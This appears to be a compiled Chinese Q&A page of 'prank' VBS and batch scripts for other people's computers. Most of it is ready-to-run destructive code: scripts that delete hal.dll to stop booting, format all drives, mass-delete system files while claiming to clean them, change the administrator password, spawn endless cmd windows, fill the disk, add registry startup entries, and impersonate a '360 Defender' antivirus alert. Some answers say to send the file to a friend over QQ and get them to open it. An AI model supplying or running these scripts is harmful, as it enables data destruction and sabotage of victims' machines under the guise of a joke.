電腦如何用代碼惡搞

㈠ win7怎麼編寫惡搞代碼

如果在寫代碼的過程中，你可以進行打到windows電腦裡面就可以進行切入代碼了。

㈡ 整人程序代碼怎麼用

我不知道你是不是這個整人代碼！

代碼如下：

--------------------------------------------我是橫線不要復制我------------------------------------------

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-r-t60-c""說我是豬，不說我是豬就一分鍾關你機，不信，試試···""",0,true

dima

dowhile(a<>"我是豬")

a=inputbox("說我是豬,就不關機，快撒，說""我是豬""","說不說","不說",8000,7000)

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"

loop

msgboxchr(13)+chr(13)+chr(13)+"早說就行了嘛"

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

WSHshell.run"cmd.exe/cshutdown-a",0,true

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈，你確實是一頭豬~"

--------------------------------------------我是橫線不要復制我------------------------------------------

將橫線內的代碼復制到記事本內~~然後另存為名字隨便你起記住後面的一定要加.vbe

把文件傳送給對方~~只要對方一打開一分鍾就會關機，如上面說的，要你說那三個字，就不會關機了哈哈大家試試吧。

用QQ傳送文件發送給他！叫他打開！

㈢ bat整人代碼

注意條款：全部代碼沒有正常解除方式，會對機器造成傷害，在實體機上實驗概不負責！
@echo off
echo 開始
:2
start cmd.exe
goto 2
就是主要是利用goto 來跳轉到:2
循環跳轉...就是循環用start 打開CMD ^^
友情提示...死機不負責.......
也可以利用
別的
@echo off
net user
%0
這里的核心是%0 他表示本身 就是循環運行本身^^
這里循環運行net user
上面主要把別人電腦整死機
下面我們利用修改注冊表來惡整
常見修改注冊表
就是開機載入 這世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(開機載入文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(這里是開機載入文件的路徑)
這里可以添加一個開始我們弄的哪個strat 這個
@echo off
echo echo 開始 >c:\windows\cnhacker.bat
echo :2 >>c:\windows\cnhacker.bat
echo start cmd.exe >>c:\windows\cnhacker.bat
echo goto 2>>c:\windows\cnhacker.bat
這里自動在windows下生成cnhacker.bat
然後利用上面開機載入 寫起...就OK拉
修改IE欄
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主頁那裡
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
簡單硬碟炸彈(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji >C:\%a%.txt
goto 22
如何要效果好 最好加一段vbs代碼 隱藏運行 在C盤製造大量的垃圾TXT文件
修改不電腦顯示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢復
這段大家不要實驗......
就是利用%username%
net user %username% /del (刪除當前使用的用戶 不可以直接刪除ADMINISTRATOR用戶外)
造成你電腦上面ADMINISTRATOR桌面資料丟失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
強行結束smss.exe 進程
ntsd -c q -pn smss.exe (結束該進程你的電腦即將卡死滑鼠不能用)
shutdown -a (放棄關閉計算機)
危險不要實驗
迅速格式所有盤符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
這個必須要利用記事本保存 然後.bat 才能夠執行 在CMD下面 無法執行
這些都是病毒常見修改注冊表的位置和腳本喜歡改的地方...比較常見!~~
顏色屬性由兩個十六進制數字指定 --
第一個為背景，第二個則為前景。
每個數字可以為以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字體
0 = 黑色 8 = 灰色
1 = 藍色 9 = 淡藍色
2 = 綠色 A = 淡綠色
3 = 湖藍色 B = 淡淺綠色
4 = 紅色 C = 淡紅色
5 = 紫色 D = 淡紫色
6 = 黃色 E = 淡黃色
7 = 白色 F = 亮白色

㈣ 求簡單的整人Bat代碼

代碼開始，只抄橫線裡面的
_______________________________
@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一頭豬！！！
_______________________________
代碼詳解：
@echo off —— 隱藏命令，關閉回顯。
net user administrator nishizhu\add —— 把開機密碼改成「nishizhu\add」
del /s /q c:\Windows\System32\hal.dll —— 刪掉系統載入程序（刪了就開不了機）
shutdown -s -t 5 -c 你是一頭豬！！！ —— 定時關機5秒鍾，並提示你是一頭豬！！！

㈤ 有沒有惡搞朋友的，給他電腦發個文件就會讓他自動關機的代碼

vbs整人代碼大集合，收集的比較全，喜歡的朋友可以參考下。不要搞破壞，學習vbs的朋友非常有幫助，死循環的使用比較多。新建一個記事本 把下面的代碼復制進去 另存為VBE格式的就可以了 ：
一、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
二、打開無數個計算器，直到死機
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
----------------------------------------------------------------------------
三、直接關機
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
---------------------------------------------------------------------------
四、刪除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
五、不斷彈出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
六、不斷按下alt+f4 （開什麼都關閉……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}" loop
---------------------------------------------------------------------------
七、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
---------------------------------------------------------------------------
八、關不掉的窗口
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?") WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼才來，說~是不是不關心我") WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。") WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？") WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦") WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！") WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！") WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下") WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下") WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下") WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下") WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下") WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下") WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下") WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下") WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下") WScript.Echo("還剩15下")
WScript.Echo("還剩14下") WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴") WScript.Echo("還剩11下，以後就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！") WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丟棄人家") WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！") WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？") WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！") WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！") WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
-----------------------------------------------------------------
為了友誼的小船，請謹慎使用

㈥ 有沒有一些惡搞別人的vbs代碼

自編vbs僅供娛樂！！！
set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革廠倒閉了》

msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fone.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因為這個游戲涉及非法內容，所以您的電腦將在60秒後自動關機"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（「滾」已復制到剪貼板，可以粘貼。）","360 Defender","不是",8000,7000)

IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，現在您可以下載360安全衛士來殺毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop

ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎麼這么懶呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"
msgbox "游戲規則：在開始後，請及時點擊 「確定」 鍵來取消關機。"+chr(13)+"現在您可以把這個窗口x掉，或者點擊確定，來開始游戲。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消關機",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop

ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鴻禕表示無語。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問題的",vbokonly,"360 Defender"
msgbox "自己探尋吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop

ELSEIF A = "滾" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滾" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"

ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由於您在說廢話，但是您一定不想浪費時間說廢話，所以該電腦對您有害。浪費別人時間就是謀財害命 ( 魯迅 ) 。360積極維護您的財產權和生命健康權，決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現在先把C盤給抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盤的過程中，您的電腦將會重啟數次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

㈦ 求電腦惡搞代碼

if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1 shutdown -s -t 0
:err2 上面可以讓對方電腦重啟5次後不在重啟，當然如果你修改一下加個if not exist c:6.txt echo. >c:6.txt & goto err1那就是重啟6次 改成7就是7次...
打開「開始→程序→附件→記事本」，把代碼部分復制進去，點「另存為」，路徑選「你想要放的地方」，保存類型為「所有文件」，文件名為「你想要的名字.bat」，你的批量處理器就完成了。

㈧ 惡搞程序代碼

代碼如下，復制到記事本，將txt改為vbs就ok了，中間的字可自己改。
if
MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel
then
msgbox
"
正在清理系統垃圾wow
~_^",,"算你倒霉！！"
Set
objShell
=
CreateObject("Wscript.Shell")
objShell.Run
"shutdown
-s
-t
5",,true
end
if
加分哦

㈨ 求運行中的惡搞命令~~~~

戲弄非法用戶
為防止有人胡亂使用自己的電腦，我們可以利用批處理文件來戲弄一下非法用戶。方法是用記事本程序在Windows目錄中建立一個Winstart.bat文件，並在該文件中加入以下命令：
@echo off
echo non-system disk or disk error
choice/c:&&/n

上面代碼中的"&&"為我們設置的密碼，您可以自行設置。這樣重新啟動計算機開機時就會顯示"non-system disk or disk error"，接著游標一閃一閃的好像死機了一樣，造成非法用戶以為Windows死機的假象。有時就連高手也會上當受騙！當我們要進入系統時，只要輸入"&&"即可。
最惡的Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
把上述內容保存為.bat文件，雙擊運行即可！！汗

㈩ 電腦惡搞軟體怎麼製作

把@echo off
echo 正在清理系統文件，請稍等......
del /f /s /q %systemdrive%\*.sys
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.bat
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 自殺完成！
echo. & pause
寫在記事本然後保存為bat格式
警告：不知道樓主要惡搞到什麼程度，這個程序千萬不要在自己電腦上使用，否則後果自負哦。